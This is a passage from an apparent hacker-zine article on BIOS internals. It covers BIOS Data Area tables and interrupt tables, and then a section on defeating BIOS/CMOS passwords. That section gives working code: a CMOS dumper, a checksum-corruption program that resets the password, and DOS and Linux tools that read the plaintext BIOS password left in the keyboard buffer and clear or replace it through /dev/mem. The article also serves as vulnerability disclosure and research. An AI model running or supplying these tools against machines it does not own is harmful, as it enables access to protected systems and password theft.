               Bit 3-2 indicate data rate, set at start of
                        operation (Bits 7-6)
               Bit 1-0 not used
0x8C 1  byte   Hard disk drive controller status
               Bit 7 indicates controller state
                0b = controller not busy
                1b = controller busy
               Bit 6 indicates drive ready state
                0b = drive selected not ready
                1b = drive selected ready
               Bit 5 indicates write fault
                0b = write fault did not occur
                1b = write error occurred
               Bit 4 indicates seek state
                0b = drive selected seeking
                1b = drive selected seek complete
               Bit 3 indicates data request
                0b = data request is inactive
                1b = data request is active
               Bit 2 indicates data correction
                0b = data not corrected
                1b = data corrected
               Bit 1 indicates index pulse state
                0b = index pulse inactive
                1b = index pulse active
               Bit 0 indicates error
                0b = no error
                1b = error    in previous command
0x8D 1  byte   Hard disk drive error
               Bit 7 indicates bad sector
                0b = not used
                1b = bad sector detected
               Bit 6 indicated ECC error
                0b = not used
                1b = uncorrectable ECC error occurred
               Bit 5 indicates media state
                0b = not used
                1b = media changed
               Bit 4 indicates sector state
                0b = not used
                1b = ID or target sector not found
               Bit 3 indicates media change request state
                0b = not used
                1b = media change requested
               Bit 2 indicates command state
                0b = not used
                1b = command aborted
               Bit 1 indicates drive track error
                0b = not used
                1b = track 0 not found
               Bit 0 indicates address mark
                0b = not used
                1b = address mark not found
0x8E 1  byte   Hard disk drive task complete flag
0x8F 1  byte   Floppy disk drive information
               Bit 7 not used
               Bit 6 indicates drive 1 type determination
                0b = not determined
                1b = determined
               Bit 5 indicates drive 1 multirate status
                0b = no
                1b = yes
               Bit 4 indicates diskette 1 change line detection
                0b = no
                1b = yes
               Bit 3 not used
               Bit 2 indicates drive 0 type determination
                0b = not determined
                1b = determined
               Bit 1 indicates drive 0 multirate status
                0b = no
                1b = yes
               Bit 0 indicates diskette 0 change line detection
                0b = no
                1b = yes
0x90 1  byte   Diskette 0 media state
               Bit 7-6 indicate transfer rate
                00b = 500 Kbit/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = 1 Mbit/sec
               Bit 5 indicates double stepping
                0b = not required
                1b = required
               Bit 4 indicates media in floppy drive
                0b = unknown media
                1b = known media
               Bit 3 not used
               Bit 2-0 indicates last access
                000b = trying 360k media in 360K drive
                001b = trying 360K media in 1.2M drive
                010b = trying 1.2M media in 1.2M drive
                011b = known 360K media on 360K drive
                100b = known 360K media in 1.2M drive
                101b = known 1.2M media in 1.2M drive
                110b = not used
                111b = 720K media in 720K drive or 1.44M media
                        in 1.44M drive
0x91 1  byte   Diskette 1 media state
               Bit 7-6 indicate transfer rate
                00b = 500 Kbit/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = 1 Mbit/sec
               Bit 5 indicates double stepping
                0b = not required
                1b = required
               Bit 4 indicates media in floppy drive
                0b = unknown media
                1b = known media
               Bit 3 not used
               Bit 2-0 indicates last access
                000b = trying 360k media in 360K drive
                001b = trying 360K media in 1.2M drive
                010b = trying 1.2M media in 1.2M drive
                011b = known 360K media on 360K drive
                100b = known 360K media in 1.2M drive
                101b = known 1.2M media in 1.2M drive
                110b = not used
                111b = 720K media in 720K drive or 1.44M media in
                        1.44M drive
0x92 1  byte   Diskette 0 operational starting state
               Bit 7 indicates data transfer rate
                00b = 500 Kbit/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = 1 Mbit/sec
               Bits 5-3 not used
               Bit 2 indicates drive determination
                0b = drive type not determined
                1b = drive type determined
               Bit 1 indicates drive multirate status
                0b = drive is not multirate
                1b = drive is multirate
               Bit 0 indicates change line detection
                0b = no change line detection
                1b = change line detection
0x93 1  byte  Diskette 1 operational starting status
               Bit 7 indicates data transfer rate
                00b = 500 Kbit/sec
                01b = 300 Kbit/sec
                10b = 250 Kbit/sec
                11b = 1 Mbit/sec
               Bits 5-3 not used
               Bit 2 indicates drive determination
                0b = drive type not determined
                1b = drive type determined
               Bit 1 indicates drive multirate status
                0b = drive is not multirate
                1b = drive is multirate
               Bit 0 indicates change line detection
                0b = no change line detection
                1b = change line detection
0x94 1  byte   Diskette 0 current cylinder
0x95 1  byte   Diskette 1 current cylinder
0x96 1  byte   Keyboard status flags 3
               Bit 7, 1b = reading two byte keyboard ID in progress
               Bit 6, 1b = last code was first ID character
               Bit 5, 1b = forced Numlock on
               Bit 4 indicates presence of 101/102 key keyboard
                0b = present
                1b = not present
               Bit 3 indicates right alt key active
                0b = not active
                1b = active
               Bit 2 indicates right control key active
                0b = not active
                1b = active
               Bit 1, 1b = last scancode was E0h
               Bit 0, 1b = last scancode was E1h
0x97 1  byte   Keyboard    status flags 4
               Bit 7, 1b = keyboard transmit error
               Bit 6, 1b = LED update in progress
               Bit 5, 1b = re-send code received
               Bit 4, 1b = acknowledge code received
               Bit 3, 1b = reserved
               Bit 2 indicates CapsLock LED state
                0b = CapsLock LED off
                1b = CapsLock LED on
               Bit 1 indicates NumLock LED state
                0b = NumLock LED off
                1b = NumLock LED on
               Bit 0 indicates ScrollLock LED state
                0b = ScrollLock LED off
                1b = ScrollLock LED on
0x98 4  bytes  Segment:Offset address of user wait flag pointer
0x9C 4  bytes  User wait count
0xA0 1  byte   User wait flag
               Bit  7, 1b = wait time has elapsed
               Bit 6-1 not used
               Bit 0 indicates wait progress
                0b = no wait in progress
                1b = wait in progress
0xA1 7  bytes  Local area network (LAN) bytes 
0xA8 4  bytes  Segment:Offset address of video parameter control block
0xAC 68 bytes  Reserved
0xF0 16 bytes  Intra-applications communications area

The BDA is usually 255 bytes long and is created by BIOS in RAM at
0x0040000.

As you can see above, there is a keyboard buffer at 0x1E, which is ruled
thanks to two flags at 0x1A and 0x1C which point to the next and last
caracters in this buffer. By dumping this buffer (see section 3), I
realised that this buffer is filled with the caracter and then its scan
code.


Assuming the password is correct, the booting process will go on. If you
press a spacial key, (usually the <F1> or <del> key), you will enter in
the so called 'Bios Setup', which is actually a CMOS configuration.
Otherwise, the BIOS will be in charge of loading your Os... Let's
give a few details on this next step.


The BIOS is carried of offering basic input/output operations mainly
through the following interrupts : (ripped from www.bioscentral.com [8]).


figure 3 : Bios Services.



Int  Adress          Type       Description

0x00 0000:0000h      Processor  Divide by zero
0x01 0000:0004h      Processor  Single step
0x02 0000:0008h      Processor  Non maskable interrupt
0x03 0000:000Ch      Processor  Breakpoint
0x04 0000:0010h      Processor  Arithmetic overflow
0x05 0000:0014h      Software   Print screen
0x06 0000:0018h      Processor  Invalid op code
0x07 0000:001Ch      Processor  Coprocessor not available
0x08 0000:0020h      Hardware   System timer service
0x09 0000:0024h      Hardware   Keyboard device service
0x0A 0000:0028h      Hardware   Cascade from 2nd programmable
0x0B 0000:002Ch      Hardware   Serial port service
0x0C 0000:0030h      Hardware   Serial port service
0x0D 0000:0034h      Hardware   Parallel printer service
0x0E 0000:0038h      Hardware   Floppy disk service
0x0F 0000:003Ch      Hardware   Parallel printer service
0x10 0000:0040h      Software   Video service routine
0x11 0000:0044h      Software   Equipment list service
0x12 0000:0048H      Software   Memory size service routine
0x13 0000:004Ch      Software   Hard disk drive service
0x14 0000:0050h      Software   Serial communications
0x15 0000:0054h      Software   System services support
0x16 0000:0058h      Software   Keyboard support service
0x17 0000:005Ch      Software   Parallel printer support
0x18 0000:0060h      Software   Load and run ROM BASIC
0x19 0000:0064h      Software   DOS loading routine
0x1A 0000:0068h      Software   Real time clock service
0x1B 0000:006Ch      Software   CRTL - BREAK service
0x1C 0000:0070h      Software   User timer service routine
0x1D 00000074h       Software   Video control parameter
0x1E 0000:0078h      Software   Floppy disk parameter
0x1F 0000:007Ch      Software   Video graphics character
0x20-0x3F 0000:0080f Software   DOS interrupt points
      (or 0000:00FCh)
0x40 0000:0100h      Software   Floppy disk revector
0x41 0000:0104h      Software   hard disk drive C: parameter
0x42 0000:0108h      Software   EGA default video driver
0x43 0000:010Ch      Software   Video graphics characters
0x44 0000:0110h      Software   Novel Netware API
0x45 0000:0114h      Software   Not used
0x46 0000:0118h      Software   Hard disk drive D: parameter
0x47 0000:011Ch      Software   Not used
0x48                 Software   Not used
0x49 0000:0124h      Software   Not used
0x4A 0000:0128h      Software   User alarm
0x4B-0x63 0000:012Ch Software   Not used
0x64                 Software   Novel Netware IPX
0x65-0x66            Software   Not used
0x67                 Software   EMS support routines
0x68-0x6F 0000:01BCh Software   Not used
0x70 0000:01c0h      Hardware   Real time clock
0x71 0000:01C4h      Hardware   Redirect interrupt cascade
0x72-0x74 0000:01C8h Hardware   Reserved
      (or 0000:01D0h)
0x75 0000:01D4h      Hardware   Math coprocessor exception
0x76 0000:01D8h      Hardware   Hard disk support
0x77 0000:01DCh      Hardware   Suspend request
0x78-0x79 0000:01E0h Hardware   Not used
0x7A                 Software   Novell Netware API
0x78-0xFF 0000:03FCh Software   Not used



The BIOS interrupts are very basic but sufficient for the OS to
be launched by reading the boot sector of the selected bootable device in
memory at  0x7C00.Then, code execution is set to that adress and the OS
takes control.


Ok, now kids, here is what you've been waiting for : a quick sumary of
available techniques to bypass the CMOS password. Note those techniques
are obvious once you understand how the whole process works...
The following methods are taken from Christophe Grenier's page [9].
I would like to thank him for helping me by mail in my researches
concerning Bios disassembly.

Bypassing a Bios password if the computer is off can't be done with
software : until the password is entered correctly, the computer will
simply not boot. Therefore, a first methode is to replace the CMOS chip
(which contains the password) by a new (passwordless one).
The CMOS can also be reset by switching off a battery on the mother
board that supplies its power. All those methodes, along with more
sofisticated ones consisting in court-circuiting the CMOS are 
discribed on Christophe Grenier's Home Page [9]. 


Software based methods to recover a CMOS password or generate one 
that has the same checksum can therefore only be done if the
computer is on. Appart from manufacturers backdoors [10], finding such
a password is technically very difficult, time consuming and
moreover, those decyphering techniques are very model specific.
But in the case of Toshiba laptops, there is an other way to
reset the password... If you perform a 'string' command on a
Toshiba Bios ROM, or disassemble it, you'll notice the following string :

  db  44h ; D
  db  6Fh ; o
  db  20h ;  
  db  79h ; y
  db  6Fh ; o
  db  75h ; u
  db  20h ;  
  db  77h ; w
  db  61h ; a
  db  6Eh ; n
  db  74h ; t
  db  20h ;  
  db  74h ; t
  db  6Fh ; o
  db  20h ;  
  db  63h ; c
  db  72h ; r
  db  65h ; e
  db  61h ; a
  db  74h ; t
  db  65h ; e
  db  20h ;  
  db  61h ; a
  db  20h ;  
  db  70h ; p
  db  61h ; a
  db  73h ; s
  db  73h ; s
  db  77h ; w
  db  6Fh ; o
  db  72h ; r
  db  64h ; d
  db  20h ;  
  db  64h ; d
  db  69h ; i
  db  73h ; s
  db  6Bh ; k
  db  65h ; e
  db  74h ; t
  db  74h ; t
  db  65h ; e
  db  3Fh ; ?


What is this ?? Well, as mentioned on Bugtraq mailing list [11], there
is a way to reset the CMOS password by creating a boot disk whose first
sectors contains the string "KEY" followed by 0x0000.



This is it for my brief description of the Bios. If you look back at the
figures mentionned above, you'll realise that most informations
concerning your hardware is stored inside the CMOS or the BDA.
Well, there is an even much complete way to gather 
informations on a computer. It is called SMBIOS.
SMBIOS is a standard defined by DMTF [12], which is an aliance of major
hardware manufacturers to create a powerfull way to deal with hardware.
You can download a nice utility to get a detailed report on your system
thanks to DMIDECODE you can get at freshmeat web site [13]. Describing
the SMBIOS structure is off topic since we won't use it in this paper,
refer to those links for more infos.


Enougth description, let's move to a more practical point of view...


--[ 3 - Physical Ports Acess : CMOS Phun


We will first focus on physical ports manipulation : the Bios can do it,
so why couldn't we ?



The two following techniques were pretty common under MS DOS several years
ago (see the "Bios Companion" [4] for instance).
It made use of debug to access physical ports. Under Linux, this
requires special permissions that are given using ioperm.


As seen earlier,CMOS is not loaded on memory : it is set on a different
chip. Interraction with the CMOS is done through physical ports 0x70 and
0x71.
All physical ports operations follow the same scheme
only the port numbers change. The first one is used to seek a pointer within
the chip, and the other one is used to read or write at this position.

Here is how to interract with a CMOS chip :
Writing to 0x70 with a given value will in return allow us to read the
actual content of the CMOS chip at this offset on physical port 0x71.




---------------------------------------------------------------------------
/*
*                      CMOS DUMPER
*          Endrazine endrazine@...ltheplug.org
*
*
* compiling : gcc cmosd.c -o cmosd.o
* usage : #cmosd > cmos.dump
*
*/
#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>


int main ()
{
        int i;

        if (ioperm(0x70, 2, 1))   //Ask Permission (set to 1) 
        {                         //for ports 0x70 and 0x71
                perror("ioperm");
                exit (1);
        }

        for (i=0;i<64;i++)
        {
          outb(i,0x70);// Write to port 0x70
          usleep(100000);
          printf("%c",inb(0x71));

        }

        if (ioperm(0x71, 2, 0)) // We don't need Permission anymore
        {                        // (set permissions to 0).
                 perror("ioperm");
                 exit(1);
        }

        exit (0);// Quit
}

---------------------------------------------------------------------------


CMOS has a crc checksum stored at offset 0x2e on the CMOS chip, as shown
earlier in the CMOS Map. The way this checksum is calculated depends on
the model of the CMOS.





The main idea to reset CMOS is to make the checksum fail.
This will allow Bios to reset the CMOS to its defaults settings since the
flag at 0x0E (in CMOS) will be set to false, resulting in a CMOS flush.
Hence, this will remove the BIOS Password. To do so, we will use a trick
from the "Bios Companion" [4] : writing on port 0x70 with a value of 0x2e
corresponding to the CMOS checksum offset and then writing on port 0x71
with an arbitrary value which will replace the actual checksum.
Christophe Grenier (www.cgsecurity.com) noticed that setting the checksum
to any value between 0x10 and 0x2F will result in a wrong checksum
(I can't explain why since the algorithmes used to calculate those
checksums are - as far as I know - not standard. I can only suppose Bios
manufacturers decided that the algorithmes would have to be made so that
such values are impossible in any CMOS configuration).




---------------------------------------------------------------------------
/*
*                       Reset CMOS
*           Endrazine endrazine@...ltheplug.org
*/
#
#include <stdio.h>
#include <unistd.h>
#include <sys/io.h>


int main ()
{
        ioperm(0x70, 1, 1);   //Ask Permission (set to 1) 
        ioperm(0x71, 1, 1);

          outb(0x2e,0x70);// Write to port 0x70
          usleep(100000);
          outb(0xff,0x71);  

        if (ioperm(0x70, 3, 0))
        {
                 perror("ioperm");
                 exit(1);
        }
        exit (0);// Quit
}



---------------------------------------------------------------------------





--[ 4 - Physical memory access applyed to Keyboard buffer access


Let's now focus on raw memory access : reading and writing to /dev/mem...



As explained in the first section of this paper :
When entering a Bios Password at command prompt, the input is stored at
adress 0x41e. It is then compared to the cyphered one stored in CMOS
for validation. Older attacks against Bios passwords were merely
attempts to decypher the CMOS hash (see Christophe GRenier's page for
exemples of such tricks). As Christophe Grenier explained me (by mail),
reversing the BIOS ROM is unecessary : one can build a conversion
table by using a diffing approche (ie : entering a password and dump
the CMOS, then change one letter in the password and see what has changed
and so on... Christophe even told me this was the methodology he used
to build his password cracking tools).

But the keyboard Buffer is a circular one, whish means that once a
character is read it is flushed. At least it should be... In fact, I
realized that Bioses did not flushed this buffer after use. In other
terms, the flags at 0x1A and 0x1C in DBA are not updated after the
user enters the password. Hence, the buffer used by the password is
never flushed...
Therefore, the password remains in plain text at physical adress 0x41e.
Note that this done by Bios functions and is OS independant.

If you experiment the code below, you will notice that other softwares
do not always use those flags correctly. For instance, I noticed that
grub and lilo did not read the 0x1A flag and use the whole buffer, even
if it has not been flushed ! I've not been able to find out any way to
use this fact, but if you do, please send me a mail.

We will now create a piece of code to read the content of this buffer.
This task isn't as easy as it may seem, since most OSes will not allow
any program to perform direct physical memory reading. In fact, modern
OSes do not work with physical but virtual memory and therefore, we 
cannot use any function part of the API handling memory adresses : 
they simply won't point to the rignt place. I've choosen to write an
exemple under MS Dos because it is such a basic OS that no particular
rights are equired to perform physical memory reading (MS Dos is not a
mutliuser OS anyway and doesn't use virtual memory at all). I thought
porting the code under Windows would be a very hard task since MS Dos and
recent Windows (since Windows 2000) are not supposed to be compatible
since Windows now as its own kernel. Furthermore, passing from a 16 bits
architecture to a 32 bites one is usually difficult, and I thought
running the exploit might need ring 0 privilege (ie system privilege).
Well, I was wrong and porting the code under Windows was no big deal,
as you will below. This code as been tested on the Toshiba computer
used since the very beginning of this article under Windows XP Pro, and
with the p100 MHz one under Windows 98 SE. It has also been tested under
Windows Server 2000 (P4, 512 RAM).



;---------------- [ wbiosw.asm ]-----------------------------------------


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;        Endrazine endrazine@...ltheplug.org         ;
;        Bios Password Physical Memory Reader        ;
;      Write to file Windows Compatible version      ;
;                                                    ;
;Compiling : A86 wbiosw.asm wbiosw.com               ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

code segment
        org 100h
        assume ds:code, es:code, cs:code

start:
        mov ah, 09h
        mov dx,offset welcome
        int 21h

        xor ax,ax
        int 16h

        mov ds, 40h                  ; This is the input buffer adress
        mov si, 01EH                 ; starting at 40h:01eh
        mov di,offset buffer
        mov cx,32

daloop:
        mov ax,[ds:si]
        mov [cs:di],ax
        inc di
        add si,2                    ; Replace this line by add si,4
                                    ; if you plan to use it under Dos
loop daloop

        mov ds,es

        mov ah, 3ch                 ; MS DOS Create file Function
        mov dx, offset fname
        xor cx,cx
        int 21h


        mov ax, 3d01h               ; MS DOS Open file Function
        int 21h
        mov handle,ax

        mov ah, 40h
        mov bx,handle
        mov cx,32
        mov dx, offset Msg
        int 21h                     ; Write buffer to file


        mov ax,4ch                  ; Quit
        int 21h




handle dw ?
welcome db 'Password dumper by Endrazine (endrazine@...ltheplug.org)',10,13
        db '',10,13
        db 'Dumping Password to Password.txt',10,13
        db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start

end


;------------------------------------------------------------------------


Here comes the most interesting part (well, I find it interresting ;) :

Now, what about a Linux version ? Linux offers a way to access physical
memory : /dev/mem. In the following snippet, we will see how to read the
keyboard buffer, and even how to clear this buffer. Replacing the real
password with a fake one will also be shown. Therefore, writing a 
patch under the form of a loadable kernel module by copying the
clear_bios_pwd function shouldn't be too hard.
This will be your homework ;)

Of course, this code was meant to be run as root.



;------------------------------------------------------------------------
/*
*
*              bd.c coded by Endrazine
*             endrazine@...ltheplug.org
*
*
*
*/


#define BIOS_PWD_ADDR 0x041e

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/uio.h>

struct dumpbuff
{
         char tab[32];        
};



int dump_bios_pwd(void)
{
        char tab[32];
        char tab2[16];
        int fd,a,i,j;

        fd =  open("/dev/mem", "r");

        if(fd == -1)
        {
                printf("cannot open /dev/mem");
                return 1;
        }

        a=lseek(fd,BIOS_PWD_ADDR,SEEK_SET);
        a=read(fd, &tab, 32);
        if(a<=0)
        {
                printf("cannot read /dev/mem");
                return 1;
        }

        close(fd);

        i=0;
        for (j=0;j<16;j++)
        {
                tab2[i]=tab[2*j];
                i++;        
        }
        
        printf("\n\nPassword : ");
        for (j=0;j<16;j++)
        {
                printf("%c",tab2[j]);

        }

        printf("\n");
        return 0;

}


int clear_bios_pwd (void)
{


        FILE *f;
        struct dumpbuff b;
        int i;
        long j=1054;
                
        for (i=0;i<32;i++)
        {
                b.tab[i]=' ';
        }

        f=fopen("/dev/mem","r+");
        fseek(f,j,SEEK_SET);

        fwrite (&b, sizeof(struct dumpbuff),1,f);
        fclose(f);
        printf("\n[Buffer Cleared]\n");
        return 0;
}





int change_pwd()
{


        FILE *f;
        struct dumpbuff b;
        int i;
        long j=1054;
        char  pwd[18];
        char crap;

//Ask Pwd...

        printf("\n Enter new Pwd :\n(16 caratcters max)\n");


        for (i=0;i<18;i++)
        {
                pwd[i]=' ';
        }
        
        scanf("%s%c",&pwd,&crap);
        
        for (i=0;i<=15;i++)
        {
                b.tab[2*i]=pwd[i];
                b.tab[2*i+1]=' ';
        }


        f=fopen("/dev/mem","r+");
        fseek(f,j,SEEK_SET);

        fwrite (&b, sizeof(struct dumpbuff),1,f);
        printf("\n[Buffer Uptdated]\n");
        fclose(f);

        return 0;


}

int main(void)
{

        char choiceval=0;
        char crap;
        char tab3[100];        
        
        printf("      _=°Bios Bumper°=_ \n\n\n");
        printf("     (endrazine@...ltheplug.org) \n");
        printf("        by Endrazine\n");

        while(choiceval !='x')
        {
                printf ("\n==============================\n");
                printf("[Keyboard buffer manipulation]\n");
                printf("==============================\n");
                printf("\n 1 - Display Password\n");
                printf(" 2 - Clear Keyboard Buffer\n");
                printf(" 3 - Enter new Password\n");
                printf("\n==============================\n");
                printf("\n x - Quit\n");

                scanf("%c%c",&choiceval,&crap);

                if (choiceval=='1')
                dump_bios_pwd();

                if (choiceval=='2')
                clear_bios_pwd();


                if (choiceval=='3')
                change_pwd();        


        }
        return 0;
}





-- [ 5 - Final considerations


We've seen how low level access through physical ports and physical
memory can reveal interresting informations on the BIOS and CMOS chips.
Those techniques are not 'new' in themselves since OSes rely on them,
but the lack of publications on this topic made me feel this could be of
some interest to potential readers. Feel free to mail me if you experiment
those techniques and discover other applications of those.
I couldn't expose Bios ROM modifications in this article. I will sublit
a second paper later conserning those points.
I will particullary try to figure out how to fix the vulnerabilities
exposed in the present article by patching the Bios ROM.






-- [ 6 - Greetings & References



* Greetings :

Thanks to Christophe Grenier for his mails and patience. Thanks a lot to
m and Benoit for their support and relecture. I would also thank phrack's
staff and contributors for those 20+ years of intellectual stimultation
and endless source of creativity : this is what hacking is all about.
Readers that only read this article to figure out how to dump passwords
should go back to counter strike and msn messenger. Those who liked the
new ideas and methods can send me some feedback through mail :)



* References :





[1] sysodeco unpacker for Insyde Bioses ROM

          http://www-user.TU-Cottbus.DE/~kannegv



[2] IDA Pro Freeware (Windows version)

          http://www.datarescue.be/downloadfreeware.htm



[3] Intel Volume III

          ftp://download.intel.com/design/Pentium4/manuals/



[4] The Bios Companion
 
          Phil Croucher,2003 electrocution  Technical Publishers



[5] The BIOS Survival Guide Version 5.4

          Jean-Paul Rodrigue and Phil Croucher

          http://www.lemig.umontreal.ca/bios/bios_sg.htm

          (the web site is currently down)



[6] Award BIOS Reverse Engineering, Mappatutu Salihun Darmawan,
    Code Breakers Journal

          http://www.codebreakers-journal.com/include/getdoc.php?id=83&
          article=38&mode=pdf



[7] Advanced BIOS Logo Reader

          http://www.kaos.ru/biosgfx/index.html



[8] Bios Central Website

          http://bioscentral.com/



[9] Christophe Grenier's Cmos password recovery tools :

          http://www.cgsecurity.org/index.html?cmospwd.html



[10] Default Password List :

          http://www.cirt.net/cgi-bin/passwd.pl



[11] Bugtraq post on reseting Toshiba password using a boot disk

          http://seclists.org/lists/bugtraq/2000/Feb/0377.html



[12] SMBIOS Standard :

          http://www.dmtf.org/standards/published_documents/DSP0134.pdf



[13] DMIDECODE/SMBIOS, generates detailled reports under linux :

          http://freshmeat.net/projects/dmidecode/





-- [ 7 - Appendix :

The ROM used in this paper is available at
http://www.pulltheplug.org/users/endrazine/.


|=[ EOF ]=---------------------------------------------------------------=|




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ